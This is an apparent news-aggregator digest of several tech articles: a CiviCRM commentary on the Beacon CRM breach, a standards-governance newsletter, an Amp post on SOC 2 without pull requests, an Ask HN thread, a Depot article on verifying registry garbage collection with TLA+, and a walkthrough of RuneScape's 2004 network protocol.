What the Beacon CRM breach means for charity data — and why data ownership matters

CiviCRM
civicrm.org
2026-08-14 13:12:02
What the Beacon CRM breach means for charity data — and why data ownership matters In late July 2026, Beacon CRM — a cloud fundraising platform used by more than 1,500 UK charities — discovered that someone had used compromised credentials to access copies of its customer database backups....
Original Article

In late July 2026, Beacon CRM — a cloud fundraising platform used by more than 1,500 UK charities — discovered that someone had used compromised credentials to access copies of its customer database backups. Beacon notified affected organisations on 3 August, telling them the intruder had "likely downloaded" those backups. Charities and cultural organisations including the Upper Room, English National Ballet, and Chiswick House and Gardens Trust have since written to their own supporters to warn that names, contact details and, in some cases, dates of birth may have been exposed. Beacon says it found no evidence of the data appearing for sale online, and is working with external cyber-security specialists and law enforcement. The Information Commissioner's Office and Scotland's SCVO have both published guidance for affected organisations. ( The Register ; Civil Society News ; Third Sector ; SCVO )

First, a note on framing: this piece isn't here to pile on a competitor while its customers are dealing with a difficult week. Credential-based attacks happen to well-run organisations, and no software — proprietary or open source, hosted or self-hosted — is immune to them. What the incident does usefully illustrate, though, is a structural question every charity should be asking about its CRM: who else's data is bundled with mine, and who ultimately controls it?

A shared database is a shared risk. When over a thousand charities' supporter records sit in one vendor's multi-tenant cloud database, a single set of compromised credentials can expose all of them at once — as appears to have happened here. That's not a flaw specific to any one company; it's an inherent property of centralised, single-vendor SaaS. CiviCRM doesn't eliminate the risk of a breach at any individual organisation, but it does eliminate this particular failure mode: because CiviCRM is self-hosted (on your own server, your own cloud account, or through a partner of your choosing), there is no single central store holding your data alongside a thousand other charities'. A compromise at one CiviCRM-using organisation doesn't cascade into every other one.

You choose where your data lives, and who can see it. With a SaaS product, your data protection compliance is only as good as one vendor's internal controls, and you have limited visibility into them. With CiviCRM, your organisation (or your chosen hosting partner) controls the infrastructure, the access logs, the backup policy, and the incident response plan — which also makes your obligations under UK GDPR more straightforward to reason about, since you aren't relying on a third party's breach-notification process to know what happened to your own data.

Security by transparency, not obscurity. CiviCRM is open source, so its code is reviewed by a global community of implementers and security researchers, not just one internal team. Vulnerabilities are disclosed and patched through a public process — see our Security Policy & Announcements and published security advisories — rather than being handled entirely behind closed doors. That doesn't make CiviCRM invulnerable, but it does mean the security model is auditable by anyone, including your own IT team.

No lock-in, no single point of failure for the sector. Because CiviCRM can be hosted by many different providers, a problem with one hosting partner doesn't put the entire CiviCRM-using charity sector at risk simultaneously — unlike an incident at a single dominant SaaS vendor, which by definition affects every one of its customers at once.

If your organisation is reviewing its CRM and data protection arrangements this week — whether because of the Beacon incident directly or simply because it's a timely prompt — it's worth asking any vendor, CiviCRM included, three questions: where exactly does our data live, who else's data sits alongside it, and what happens to us if you have a bad day. Self-hosted open source won't answer all of those questions for free — you still need a competent hosting partner and good practice — but it does put the answers back in your own hands.

If you'd like help thinking through your organisation's CRM and data strategy, the CiviCRM partner directory is a good place to find experienced help near you.

Protocols: Power Hides in Boring Places

Internet Exchange
internet.exchangepoint.tech
2026-08-13 12:54:54
The fights over AI scraping and encrypted browsing are being settled in obscure standards bodies, and advocates need to be in the room, Mallory Knodel argues....
Original Article
internet governance

The fights over AI scraping and encrypted browsing are being settled in obscure standards bodies, and advocates need to be in the room, Mallory Knodel argues.

Protocols: Power Hides in Boring Places
Photo by Thomas Kelley / Unsplash

By Mallory Knodel

I'm returning to HOPE (Hackers On Planet Earth) , one of the longest-running hacker conferences in the world, organized by 2600: The Hacker Quarterly since 1994. It's community-run, volunteer-powered, and unapologetically political.

This is at least the fourth time HOPE has platformed a talk or panel about what's happening inside standards bodies like the IETF, W3C, ICANN, ITU, and the rest of the alphabet soup that governs how the internet really works. On Friday, I'm using my 50 minutes to walk through a set of specific examples of human rights considerations in technical standards to make the abstract idea of "internet governance" feel concrete. My HOPE is that more public interest advocates get involved in shaping standards. Here are just a couple of those:

robots.txt, thirty years and counting (our blessings).

In 1994 the Robots Exclusion Protocol was a polite, informal request expressed by website operators about bot behavior. This small but mighty text file stated a preference that web crawlers not scrape certain directories. It finally became an actual standard in 2022 IETF as RFC 9309 . Then, almost immediately, it had to evolve again: the IETF working group that started as " ai-control " (still the mailing list name) became " AI Preferences " (AI Pref) between 2024 and 2025, trying to extend that same thirty-year-old convention to cover a wider array of AI bot behaviour from scrapers to agents and beyond.

This is about as boring and unglamorous as internet infrastructure gets, and it's exactly where the fight over who gets to use your content, and how, is actually happening.

RFC 9849 and the end of VPNs (amen).

When your browser opens a secure connection, it starts with a handshake: a quick exchange where your computer and the site agree on how to encrypt everything that follows. But the first message in that handshake named the site in plain text, because the contemporary web relies on the virtual and collocated hosting of many sites on the same server. So even over HTTPS, any intermediary with access to network traffic could see your IP address asking for a specific site, even if HTTPS protected the rest of your exchange. Encrypted Client Hello , or ECH, encrypts that first message too, so the site name doesn’t leak.

This is great for privacy and it’s great for circumvention: You can’t intercept what you can’t see.

The wide deployment of ECH would be done at the network hardware layer and the web hosting layer, meaning that this privacy gain is baked into the fundamentals of networking and it accomplishes what today’s VPNs do: hide who you are and who you’re talking to. It’s also better than a VPN because you don’t need to rely on a third-party intermediary to keep your communications private.

That's the theory of change working exactly as intended: instead of everyone individually buying their way into privacy, you fix the protocol once and the privacy comes as standard.

And here are just some of the things I've learned as a feminist activist engaged in global standard setting:

  • Power hides in boring places.
  • Low layer protocols can scale solutions to everyone using the internet.
  • Charters are mandates and agenda-setting is crucial.
  • Coordinating mandates across groups and bodies is a higher layer of orchestration: power struggles among the powerful.
  • Showing up once is advocacy. Showing up for ten years changes an institution. (But sustained engagement is really costly, too.)
  • External norms, like laws or resolutions, are no replacement for sound implementations if you want sound technical specifications.
  • For some issues like censorship and inclusion, there still exists a natural resistance to topics that directly challenge political power.
  • Small protocol changes can redistribute power at scale, for everyone.
  • If the same idea shows up in five different rooms, that's not popularity, that's forum shopping.
  • A published standard is the beginning, not the end. Implementation shapes what the standard actually becomes in practice.
  • Standardize the interoperable seams, not the whole product.
  • Every decentralized identifier eventually realizes it is recreating the DNS.
  • There is no cyberspace floating above geopolitics — eventually it all touches spectrum, territory, licensing, and states.
  • We've always been moderating content below the content layer, in the stack itself. We are way beyond if or when: it's how.

Relaunch of Bluestockings

Also happening at HOPE (Hackers On Planet Earth) , the relaunch of Bluestockings! For 26 years, Bluestockings was as queer, feminist, anti-racist activist bookstore on the Lower East Side of Manhattan.

The Bluestockings store closed in 2025, but a group of volunteers has kept the mission alive in a new form: an online shop and an event pop-up. The books on offer at HOPE are tech and social justice reads.

Every book, membership, subscription, and donation keeps the work going now and builds toward Bluestockings' long-term goal: reopening a permanent store in Lower Manhattan. You can help them achieve that goal in the coming weeks by buying books on their website bluestockings.com . While that is under construction, you can:

Want to appear here? Sponsor a newsletter.

Support the Internet Exchange

If you find our emails useful, consider becoming a paid subscriber! You'll get access to our members-only Signal community where we share ideas, discuss upcoming topics, and exchange links. Paid subscribers can also leave comments on posts and enjoy a warm, fuzzy feeling.

Not ready for a long-term commitment? You can always leave us a tip .

Become A Paid Subscriber

  • Ranking Digital Rights, Breakpointing Bad, and the International Corporate Accountability Roundtable are gathering input from researchers, advocates, and technologists to shape a new methodology for assessing VPN providers. You can help them by filling in their survey: https://forms.superbloom.design/s/ynli8xjs2o5dp5l781n9z0q1

🚨

Stop press! Do you enjoy our links? The rest of this weeks links are available to paid subscribers only. Become a paid subscriber today.

"That's not SoC 2 compliant"

Hacker News
ampcode.com
2026-08-15 02:01:19
Comments...
Original Article

Will Dollman // August 13, 2026

We’ve been sharing more about how we work: building Amp with Amp, orbs , killing features, no pull requests. And the most common reaction isn’t about the AI workflows or whatever kind of loop graph engineering is flavor of the week. It’s this:

Wait, you don’t use pull requests? You push to main? How? That’s not SOC 2 compliant.

Except it is.

Skipping pull requests was a deliberate choice from the first commit. It’s a big part of how we build and why we can ship continuously.

So when we started working toward SOC 2, we took that question straight to our auditors: “you need PRs for that… right?”

Controls

SOC 2 doesn’t require pull requests. It requires that you think about your risks .

That’s the real answer we came away with. Auditors, and SOC 2 itself, are more flexible than you might assume. Ours didn’t ask us for pull requests; they asked what our change process was, and worked with us on a set of controls that fit it.

The Trust Services Criteria never mention git or pull requests. What they ask for is that changes are authorized, tested, approved, and recorded — and pull requests are just one way of doing that.

Here are the controls we landed on:

  • Restricted push access. Access to main follows business function: every engineer at Amp can push, and most of Amp is engineers. But the percentage of people with access matters less than being able to explain exactly who has it and why.
  • Signed commits. Pushing already requires authentication, but commit authorship is just metadata. GitHub enforces verified signatures on main , which makes the author on every commit verifiable.
  • Automated CI. Every change runs through the full validation pipeline: tests, infrastructure checks, security checks. Bad changes block main .
  • An audit trail that’s as good as a PR’s. Commits link to the Amp threads that produced them, so the record isn’t just a diff, it’s everything that led up to it. From there, CI/CD records the path from commit to deployment.

None of this is exotic. But it isn’t the standard process with a step deleted, either. It’s a system designed on purpose, and it gives an auditor the same thing a PR workflow gives them.

And no, code review isn’t on the list. The criteria don’t say a second human has to stare at a diff.

Does this scale?

We’re 20 people, mostly engineers, and everyone is close to the code. Being small and high-trust is our advantage, and we aren’t going to give it away for a process we don’t need. When writing code is fast, slow process becomes what you’re actually waiting on. But we’re not going to pretend a 2,000-person company should let everyone push to main.

What does scale is think about your risks , because risk isn’t uniform inside a company either. Amp is customer-facing production software, and we ship it this way. Meanwhile, plenty of code at bigger companies carries less risk than that, yet every change goes through the same process, calibrated to the scariest system the company runs.

And you don’t have to overhaul the whole company to fix that. Pick one system and ask: “What risks are our pull requests actually managing here?” Then ask how else you could manage them.

The answer doesn’t have to be pull requests.

Ask HN: How do you keep up with HN these days?

Hacker News
news.ycombinator.com
2026-08-15 01:59:12
Comments...
Original Article

Same way as always. Open the page, glance down it to see if there's anything that interests me, hit hide on the domains that I never want to see anything from. Lather, rinse, repeat.

But I'm guessing you have more of a FOMO (Fear Of Missing Out) kind of problem, which admittedly I don't have. However, you could look at something using RSS, maybe in combination with an agent told to find and show articles based on some heuristics.

Personally, I'm OK with missing something. If it's good, I figure it'll surface somewhere else and impinge on my notice sooner or later.


> hit hide on the domains that I never want to see anything from

I thought hide just hid that particular entry. Have I been wrong all this time?


> hit hide on the domains that I never want to see anything from

Ive been on hn with one account or another for close to a decade now. I have never used that feature nor did I think it would permanently hide the domains entirely. Super good to know though.


Depends on what your goals are. If you want to be well-informed for the nerdy water-cooler talk in the office kitchen, then you need to read a lot. But otherwise you can rely on that important topics resurface from time to time. If you missed something the first time, then you still have good chances to catch it the second or third time.


My HN client has made HN easier to keep up with, even before AI: https://hn.leftium.com

I call it "Seeking Orange" because interesting posts are highlighted. Features include:

- Point/comment counts become increasingly more orange with higher counts (50+, 100+)

- Orange accent bar on left indicates new items since last visit

- Support for several different feeds including: HckrNews (chronological front page appearance time), Classic Stories, Best Stories, Active Stories

- Thresholds to de-emphasize posts from users with low karma/recent creation dates: https://hn.leftium.com/newest?min_karma=500&min_age_years=5


I do this as well. I scan the titles (not just HN, but all my rss feeds combined) and only read what grabs my interest.


I don't. I fact I wish I wasn't checking now. I need to curb my addiction. this place is getting more toxic by the week.


I've started following other websites/media more - like Slashdot, Reddit and others.

A few weeks ago several HN users presented solutions for filtering out AI results, but I haven't used any of those solutions much.


> open HN

> ignore all posts about MCP

> ignore all posts containing "agent"

> also ignore everything frontier labs bragged about hacking this week

> ignore AI psychosis posts praised as being the future

> check out everything else

> close HN


Well, don't. I follow the HN Telegram channel (not official), and if anything interesting appears, I read it.

If I tried to keep up, I'd be run over. It's too much input for the normal individual I am.


Im not aure i understand your question. If you cant dind it, how are you ignoring it?

At any rate, I find AI interesting, but have a similar opinion that most of the HN discourse has become low quality. My solution is to follow individual users I know are high quality with similar interests.


Anecdotally it feels like comment threads are a lot like "megathreads" on forums now, where there might be hundreds of replies. Wonder if there's been a surge of users over the last three or four years.


We are strongly in the AI acceleration phase, so it'll keep getting harder. I use an RSS reader for the top posts only. In the RSS reader, I "star" what I want to read, and read what I can from among what I have starred. Of course I miss a lot, but I get the broad picture of where things are going.


> In the last 2-3 years, mostly because of AI, keeping up with interesting articles on HN has become harder and harder.

I'm curious to hear why AI made it harder to read HN. Is it because there's lots of it and you don't like it?

Improving system safety with Temporal Logic of Actions (TLA+)

Lobsters
depot.dev
2026-08-15 01:12:40
Comments...
Original Article

The hardest distributed systems bugs to find aren't in any single operation. Two processes each do the right thing, but in an order nobody thought of, and data disappears. Tests don't catch these bugs because tests run the interleavings you imagined, while the bug is in the one you didn't.

At the scale of Depot Registry, this is no longer hypothetical. Once you reach a certain request volume, a one-in-a-million interleaving becomes a reality and happens on a schedule you don't control.

So when we rebuilt the garbage collector for Depot Registry , we model checked it with TLA+. The model checker found a real bug that our tests and reviews had missed. It also forced us to be precise about a design decision that sounds absurd on first read: our registry stores immutable, content-addressed blobs (that by definition never change), and it depends on S3 bucket versioning anyway.

What TLA+ is

TLA+ is a language for describing a system as states and transitions. TLC is a model checker that explores every reachable state and every possible interleaving, then tells you whether your invariants hold in all of them. You don't write the implementation in TLA+. You write a simplified model of it that's small enough for the checker to explore in full, but close enough to the real thing that a bug in the model points at a bug in your system.

Here's a trivial model: two clients withdrawing from a shared wallet, each doing a read-then-write without locking.

---------------- MODULE Wallet ----------------
EXTENDS Integers

VARIABLES balance, read

Init == balance = 10 /\ read = [c \in {"a", "b"} |-> -1]

Check(c) == read[c] = -1
            /\ read' = [read EXCEPT ![c] = balance]
            /\ UNCHANGED balance

Withdraw(c) == read[c] >= 8
               /\ balance' = balance - 8
               /\ read' = [read EXCEPT ![c] = -2]

Next == \E c \in {"a", "b"}: Check(c) \/ Withdraw(c)

NoOverdraft == balance >= 0
================================================

Each definition is a transition: Check(c) reads the balance, Withdraw(c) subtracts 8 if the client sees enough money. /\ means "and," while \/ means "or." The primed variable balance' is the value in the next state, and NoOverdraft is the invariant we want to hold everywhere.

TLC breaks it in four steps: client a checks and sees 10, client b checks and sees 10, both withdraw, and the balance is -6. That's the classic check-then-act race, found mechanically, with a step-by-step trace showing exactly how to reproduce it. No test run was unlucky. The checker simply tried every ordering.

The wallet is a toy example. Here's the same idea in one of the real invariants from our registry GC model:

ManifestNeedsData ==
    \A p \in PusherIDs: manifestExists[p] => s3Versions /= {}

Read it from left to right:

  • ManifestNeedsData is the name, and == means "is defined as."
  • \A means "for all."
  • p \in PusherIDs means p ranges over every pusher in the model.
  • manifestExists[p] asks whether pusher p has a committed manifest.
  • => means "if the left side is true, the right side must be true."
  • s3Versions /= {} means the set of S3 versions is not empty.

Put together, the invariant is roughly this pseudocode:

for each p in PusherIDs:
    if manifestExists[p]:
        assert s3Versions is not empty

The last clause might look too weak: it says some S3 version exists, not that the right blob exists. That's intentional. This model has a single blob digest, because the race we care about is whether GC can delete that blob while a manifest still needs it. In a multi-digest model, the invariant would need to be indexed by digest: s3Versions[manifestDigest[p]] /= {} . Reviewing a model means asking whether choices like this preserve the question you wanted to answer.

Model the moving parts (uploads, database transactions, GC workers), state what must always be true, and let the checker do to your design what production traffic eventually will.

Why we can afford TLA+ now

TLA+ has been around for decades, and it has a reputation problem: everyone agrees it's powerful, but almost nobody budgets the weeks it takes to write and maintain a faithful model next to a moving implementation. That was our position too. Before this year, a spec for our GC would have lost the prioritization fight every single time.

What changed is that we don't write the model by hand anymore. An agent reads the implementation, the Go transactions and SQL and S3 calls, and translates it into a spec. We review the rest: do the invariants say what we mean, and does the model abstract away the right things? Writing TLA+ was the expensive part. Deciding what must always be true was always the cheap part, and it's the part that stays human.

The result is a spec of the registry's three-tier garbage collector that models concurrent pushers, two GC domains, a counter reconciler, and injected counter drift, all interleaved. It's rooted in the real implementation, transaction by transaction. TLC explores 14,290,224 distinct states in about 21 minutes and proves 10 safety invariants and 2 liveness properties. The most important invariant is the first one: a committed manifest never loses its blob data.

We now use AI to ship faster like everyone else. But we're also using it to build systems that are more correct than what we had the time to verify before.

The race: why our immutable blobs use S3 versioning

OCI registries are content-addressable. Within Depot Registry, blobs live at blobs/sha256/<digest> , and the digest is the hash of the content. Upload the same blob twice and you get byte-identical data at the same key. Nothing ever changes in place. Under that model, S3 bucket versioning looks pointless: every version of an object would be identical.

But the problem is the deletes.

Garbage collection has to remove blobs that nothing references anymore. The GC worker marks a blob with zero references, waits out a grace period, re-verifies, and deletes. But the references live in MySQL and the bytes live in S3, and there is no transaction that spans both systems. Which opens a gap:

  1. GC verifies the blob has zero references and decides to delete it.
  2. Concurrently, a client pushes an image containing that exact blob. Same digest, same key. The upload writes to S3 and commits a new reference.
  3. GC's delete lands and removes the object that a just-committed manifest now points to.

Every individual step is correct. Yet the interleaving deletes live data. And "a client re-pushes a blob right as it becomes garbage" is not exotic: it's what happens when a popular base image cycles out of use and back in.

You could try to fix this with locks or with ever-more-careful re-checking, but you can't re-check S3 and delete in one atomic step. So instead we made the delete itself precise. The bucket has versioning enabled : a re-upload of the same key becomes a new version instead of overwriting. When GC marks a blob, it records the specific S3 version ID it saw. When it deletes, it deletes only that version:

  1. GC marks the blob and captures version v1 .
  2. The concurrent push writes the same bytes as version v2 and commits its reference.
  3. GC deletes v1 , and only v1 . v2 , the version the new manifest was built on, is untouched.

We don't use versioning to keep history. Every version of a blob is byte-for-byte identical, so there's no history to keep. We use it as a delete fence: it turns "delete this key" into "delete exactly the bytes I inspected," which makes a delete safe to race against a write. That's the answer to the puzzle in the title of this section, and it's a good pattern for any content-addressable store that garbage collects: versioning, not immutable content, makes deletion safe.

Turning a doubt into a line of TLA+

One concern in the registry design was how its reference counters behave under failure. To reduce contention on hot blobs, we use a lightweight saga: increment a reference counter, do the work, and compensate with a decrement on failure. A reconciler repairs counters when a crash prevents that compensation from completing. The important detail is that a wrong counter is not symmetric. Overcounting delays GC, while undercounting can make GC treat a referenced blob as garbage and delete live data.

That asymmetry was our doubt, so we told the agent to verify exactly that. It came back with an invariant:

ManifestCountNeverUndercounts ==
    blobActive => blobManifestCount >= TrueGlobalManifestCount

Whenever the blob's row is active, the stored counter must be at least the true count derived from the physical link rows. The >= , rather than = , captures the asymmetry directly: overcounts are tolerated, undercounts are a violation.

For that invariant to tell us anything useful, the model also has to include incorrect counters. We added a dedicated drift process that changes them in the same directions as failed compensations and historical desynchronization:

process DriftInjector = "drift"
begin
    Drift:
        await driftBudget > 0;
        either
            await blobActive /\ blobLinkCount > 0;
            blobLinkCount := blobLinkCount - 1;   \* undercount
        or
            await blobActive /\ blobLinkCount < N + DRIFT;
            blobLinkCount := blobLinkCount + 1;   \* overcount
        end either;
        driftBudget := driftBudget - 1;
        goto Drift;
end process;

This part of the spec is written in PlusCal, a front-end syntax that compiles down to TLA+, which is why it reads like pseudocode. await blocks the step until its condition holds, and either/or is nondeterministic choice: TLC explores both branches wherever this process could run, interleaved with the pushers, GC workers, and reconciler. Rather than representing one specific bug, the process represents the broader condition that a counter may be wrong in either direction when another operation runs. The checker can then verify that destructive steps recount the physical rows instead of relying on a stale counter.

The model also has invariants for its own internal bookkeeping:

S3HeadOK ==
    /\ (s3Versions = {}) <=> (s3Current = 0)
    /\ (s3Versions /= {}) =>
        /\ s3Current \in s3Versions
        /\ s3Current = MaxVersion(s3Versions)

S3HeadOK says the "current version" pointer is empty exactly when the version set is empty, and otherwise points at the newest version. It does not express a product guarantee; it checks that the model's S3 abstraction remains internally consistent. These checks help distinguish a failure in the system being modeled from a mistake in the model itself.

Tests and model checking cover different ground. Tests exercise concrete implementations, while the model explores interleavings that would be difficult to reproduce deliberately.

Tips and tricks on getting started yourself

Formal verification used to be a luxury reserved for teams with time to burn. That constraint is gone. The tedious part, faithfully translating an implementation into a spec, is now something you can delegate to an agent, while you make the judgment calls. Here's what we wish we knew six months ago.

Pick your battles: Don't throw TLA+ at everything. Good candidates are competing processes, tricky transactional boundaries, autonomous workers racing on timing, or work spanning multiple systems with no shared transactions. For example, a CRUD endpoint doesn't need a model checker.

Have a bias for action: While you're still learning TLA+, the goal is not a correctness proof. That comes later, if ever. When people hear "TLA+," the first objection is always "but what if the model doesn't match reality?" That's not the point: testing and formal verification both exist to increase trust, and a model checker is one more trust dial. So don't wait until you understand every line of a generated spec. Run it and see what falls out. Worst case you lose an afternoon; best case you've found a thread to pull. If the cost of a mistake is high, that's when you invest real time hunting for flaws in the spec itself.

Steal this workflow: Use cheaper models to generate sequence diagrams of the interleaving procedures, either at design time or from an existing implementation. Review them, simplify, and abstract away steps that don't matter. I like Codex for this exploration: it renders the diagrams nicely, and side-chats make it easy to pull on a topic without derailing the main thread. Once the diagrams say what you mean, hand them to a frontier model (Fable at extra high effort, in our case) to generate the TLA+ spec. That first spec will be a black box: you can't read TLA+ yet, so all you can judge is what goes in and what comes out. That's fine. Start there.

Refine the workflow: Now make the black box transparent, one piece at a time. The entry point is the invariants, because they're the readable part: short statements about what must always be true. There are usually 1–3 obvious ones. Use agents to propose more; then cut ruthlessly. After a few iterations the rest of the spec stops being opaque too: you start recognizing the transitions, then questioning them. Is this really how our retry behaves? Does the model even allow two workers here? Now you're reading the spec whitebox, finding problems in the model itself instead of just trusting its output.

Turn doubts into invariants: Describe what you're not confident about, since that's exactly the confidence a checker can buy you. For us it was an asymmetry in our GC counters — overcounting is always safe, undercounting never is — and the previous section explained what the agent did with that doubt. Your doubts are the spec's best requirements.

Treat findings as leads, not verdicts: The model might not match reality, so a violated invariant is a starting point, a thread to keep pulling. Take the counterexample trace, turn it into a sequence diagram, and zoom in until you either fully understand the race and fix it, or find the mismatch between model and implementation. Either outcome is progress: you've gone from unknown unknown to something you can point at.

You now have another tool in your toolbox: tests check the interleavings you thought of; TLA+ explores the ones you didn’t.

FAQ

What is TLA+ and what does the TLC model checker do?

TLA+ is a language for describing a system as states and transitions. TLC is the model checker that explores every reachable state and every possible interleaving, then tells you whether your invariants hold in all of them. You don't write the implementation in TLA+. You write a simplified model that's small enough for the checker to explore in full, but close enough to the real thing that a bug in the model points at a bug in your system.

Why does a content-addressable registry with immutable blobs need S3 bucket versioning?

Versioning isn't there to track changes to a blob, since the bytes never change in place. It's there to make deletion safe. Garbage collection has to remove unreferenced blobs, but references live in MySQL while the bytes live in S3, and no transaction spans both. That gap lets a client re-push a blob at the same moment GC decides to delete it. Versioning turns "delete this key" into "delete exactly the version I inspected," so GC removes the old version and leaves the newly pushed one untouched.

If an agent writes the TLA+ spec, how do I trust that the model matches my implementation?

You don't, not fully, and that's fine at the start. A model checker is one more trust dial, not a correctness proof. Begin with the invariants, since they're the readable part, and ask whether they say what you mean. Then work outward until you're reading the transitions whitebox and questioning them: does the model really allow two workers here, does this match how our retry behaves? If a mismatch would be expensive, that's when you invest real time hunting for flaws in the spec itself.

When is a system actually worth modeling in TLA+?

Use it when you have competing processes, tricky transactional boundaries, autonomous workers racing on timing, or work that spans multiple systems with no shared transaction. That's where the unique interleaving is, and it's exactly what tests miss because tests only run the orderings you thought of. A plain CRUD endpoint doesn't need a model checker.

Related posts

Wito Delnat

Wito Delnat

Staff Engineer at Depot

How 2004 RuneScape fit a multiplayer RPG into 56k dial-up · jkm.dev

Lobsters
jkm.dev
2026-08-15 00:45:34
Comments...
Original Article

In 2004 I played too much RuneScape on a 56k modem that died the moment Mum picked up the phone. A 3D world, up to a couple of thousand players on a server, dozens on screen at once - in the browser, on 5 kilobytes per second. It worked. Let’s follow a single step and see how.

As a child I was too preoccupied with picking flax and killing goblins to think about how this worked. The answer, however, is a sustained, almost obsessive exercise in not wasting bytes. So, let’s click one tile north of where we’re standing, and trace every byte that crosses the wire from that click, to the server, to the screen of another player.

Central fountain, Varrock Square
Central fountain, Varrock Square

Methodology #

The detail in this post comes from a decompiled 2004 RuneScape 2 client. Snippets are rough translations from that decompile, tidied up in places for readability but with the logic intact.

The core principles aren’t identical across versions, but most of them run all the way from RuneScape Classic (2001) to present-day RuneScape 3 and, of course, Old School RuneScape .

Constraints #

Let’s look at some of the constraints that Jagex were working with at the time.

  • Bandwidth. A 56k modem syncs at 56 kilo bits per second downstream, and less upstream, minus any protocol overheads and line noise. Call it 5 KB/s down and a lot less up. Broadband was available in British homes by 2000, but it wasn’t until the late 2000s that the majority of UK households had a broadband connection, so plenty of players were on dial-up.
  • Java applet, in a browser, in 2004. Java applets ran in a security sandbox, which meant no raw native sockets and no UDP. Every byte travelled over a single TCP connection, in-order and with per-segment overhead.
  • A 600ms server cycle. The RuneScape game server advances in discrete cycles (or ticks) of roughly 600 milliseconds. Every cycle, for every player , the server has to work out everything that player can now see and ship it before the next one.

The cipher layer, briefly #

After the login handshake completes, before any game packets are sent, a small encryption layer is set up. This one’s not about saving bytes; it’s the only encryption in the stack (outside of some RSA encryption in the login handshake), and it’s here because the opcode it protects is the very thing every later section depends on.

Every packet begins with an “opcode” byte: a small integer saying what kind of packet this is. That opcode (and only that opcode) is enciphered with a stream cipher called ISAAC . There are two streams in play - one for traffic from client to server, and one for the reverse direction. Both sides need both streams: the client enciphers what it’s about to send and deciphers what just arrived, and the server does the same in mirror image (per connected player).

Both streams are seeded from a shared four-integer key. The client generates two of those integers itself; the other two come from the server as part of the handshake. The server-to-client stream then uses the same seed with 50 added to each word - enough to keep the two directions from sharing a keystream:

this.outboundCipher = new ISAAC(seed);

for (int index = 0; index < 4; index++) {
    seed[index] += 50;
}

this.inboundCipher = new ISAAC(seed);

Enciphering on the way out is one line:

public void putOpcode(int opcode) {
    this.putByte(opcode + this.outboundCipher.value());
}

And on the way in, the mirror image:

this.currentOpcode = (this.currentOpcode - this.inboundCipher.value()) & 0xFF;

So the packet body isn’t encrypted, only the opcode. As we’ll see later, the opcode is what tells you how to read the rest of the packet, and where one packet ends and the next begins. Without it, the body is just a wall of bytes, so enciphering that one byte was the cheapest possible defence against third-party packet parsers.

Sending a walk request #

We’re going to look at what happens when you click on a tile one square north, and how that gets transmitted to the server.

Before any networking occurs, the client runs a breadth-first search using the local collision map to build a path from where you are to where you clicked (an easy search, in this case), and then writes the packet for the server to read. The pathfinding is standard so I won’t go into it here.

The first part of the packet is the opcode, followed by a single byte containing the length of the packet body. As you’ll see, the number of bytes contained in the packet is dependent on the size of the path, so this “length” byte allows the server to know how far to read. Not all packets have this length byte, only packets which contain some variably sized body.

The start position takes 4 bytes (two shorts), each subsequent waypoint delta takes 2 bytes, and there’s a final byte for whether the Ctrl key is held. So the body length is 4 + 2 * (pathLength - 1) + 1 .

this.outboundStream.putOpcode(ClientToServerOpcodes.WALK_TILE);
this.outboundStream.putByte(4 + 2 * (pathLength - 1) + 1);

The packet contains the absolute position of the first waypoint in the path ( x and z sent as a two-byte “short” each), followed by the delta of each waypoint in the path against the first one - one signed byte per axis, which fits comfortably within the byte’s range of -128 to 127, as a single click can only ever land so far away.

The decision to send only a delta here, as 2 bytes per step, rather than absolute coordinates as 4 bytes per step is the first example we’ve seen of Jagex’s networking frugality. In absolute terms it only saves a few bytes for a single walk packet, but every additional waypoint costs 2 bytes instead of 4 - a 50% saving per waypoint.

int firstX = pathX[0];
int firstZ = pathZ[0];

this.outboundStream.putShort(this.playerPositionX + firstX);
this.outboundStream.putShort(this.playerPositionZ + firstZ);

for (int i = 1; i < pathLength; i++) {
    this.outboundStream.putByte(this.pathX[i] - firstX);
    this.outboundStream.putByte(this.pathZ[i] - firstZ);
}

Another frugal decision here is that pathX and pathZ do not contain every tile in the path, just the corners. Walking ten tiles in a straight line only sends one waypoint: the destination. The server already knows where you started, so it walks the line itself and validates against its own collision map.

The last part of this packet is a single byte to indicate whether the Ctrl key is held. In early versions of the game, this was used to force “run mode”, in later versions it inverts the current movement mode (runs to your clicked destination if “run” is off, or walks if it’s on):

this.outboundStream.putByte(this.keyStatus[Keys.CTRL] == 1 ? 1 : 0);

So we can see that our single step north takes seven bytes, including our opcode and length marker:

WALK_TILE packet byte layout A seven-byte client-to-server walk packet for a single step: one opcode byte, one length byte (value 5), a two-byte destination x short, a two-byte destination z short, and one run-toggle byte. The opcode and length form the header; the remaining five bytes form the body, whose size equals the length byte. 0 1 2 3 4 5 6 opcode enciphered length = 5 x x z z Ctrl run toggle destination x · 2-byte short destination z · 2-byte short header body · 5 bytes

WALK_TILE packet byte layout The seven bytes of a single-step walk packet, stacked top to bottom: byte 0 opcode (enciphered), byte 1 length (value 5), bytes 2 and 3 a destination x two-byte short, bytes 4 and 5 a destination z two-byte short, and byte 6 a run-toggle byte. Bytes 0 and 1 are the header; bytes 2 to 6 are the body, whose size equals the length byte. 0 1 2 3 4 5 6 opcode enciphered length = 5 x 2-byte short x z 2-byte short z Ctrl run toggle header body

As our path only contained a single step, we don’t enter the loop to send the “delta” waypoints, so we can cross-check our 5 -byte payload against the length marker:

  • 4 + 2 * (pathLength - 1) + 1 = 4 + 2 * 0 + 1 = 5

Once the snippets above have run, the packet is in the client’s outbound stream. That stream is drained to the network roughly every 20ms.

Server receives the request #

The server’s main loop wakes roughly once every 600ms. On each wake, it drains every player’s inbound buffer, runs whatever handlers the packets call for, and composes the outbound player updates that we’ll look at next. A packet that arrives just before a cycle is processed almost instantly; one that arrives just after waits nearly a full 600ms.

That 600ms cycle time sets the granularity for latency. The 20ms client flush and any other networking overheads all swim well under this time. That’s why the rest of this post is about bytes , not time : there is no latency to save.

Once the inbound buffer has been drained by the server, reading the packet is roughly the process above, but in reverse:

int opcode = player.inboundStream.takeOpcode();

if (opcode == ClientToServerOpcodes.WALK_TILE) {
    int length = player.inboundStream.takeByte();

    int deltaCount = (length - 4 - 1) / 2;

    int[] firstWaypoint = new int[2];
    firstWaypoint[0] = player.inboundStream.takeShort();
    firstWaypoint[1] = player.inboundStream.takeShort();

    int[][] waypointDeltas = new int[deltaCount][2];
    for (int i = 0; i < deltaCount; i++) {
        waypointDeltas[i][0] = player.inboundStream.takeByte();
        waypointDeltas[i][1] = player.inboundStream.takeByte();
    }

    boolean holdingCtrl = player.inboundStream.takeByte() == 1;

    player.processWalkTile(firstWaypoint, waypointDeltas, holdingCtrl);
}

